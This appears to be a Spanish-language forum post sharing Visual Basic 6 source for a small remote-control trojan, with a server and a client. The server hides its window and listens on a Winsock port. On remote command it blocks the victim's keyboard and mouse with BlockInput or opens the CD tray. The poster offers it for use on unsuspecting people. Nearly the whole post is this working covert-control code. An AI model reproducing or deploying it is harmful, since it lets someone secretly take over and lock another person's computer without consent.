bue chicos el codigo del el señor es muy parecido a este:
Servidor:
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Sub Form_Load()
Me.Hide
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim colgar As String
Dim abrir As String
Winsock1.GetData datos
colgar = "colgar"
abrir = "abrir"
If datos = colgar Then
BlockInput True
End If
If datos = abrir Then
Dim res As Long, ReturnString As String * 127
res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End If
End Sub
module 1:
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
medule 2:
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
en ese momento no se porque le puse 2 modules, creo que porque los controles de las api los abia copiado de
www.lawebdelprogramador.com pero este codigo anda
y el cliente pa los boluss
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Dim colgar As String
colgar = "colgar"
Winsock1.SendData colgar
End Sub
Private Sub Command3_Click()
Dim abrir As String
abrir = "abrir"
Winsock1.SendData abrir
End Sub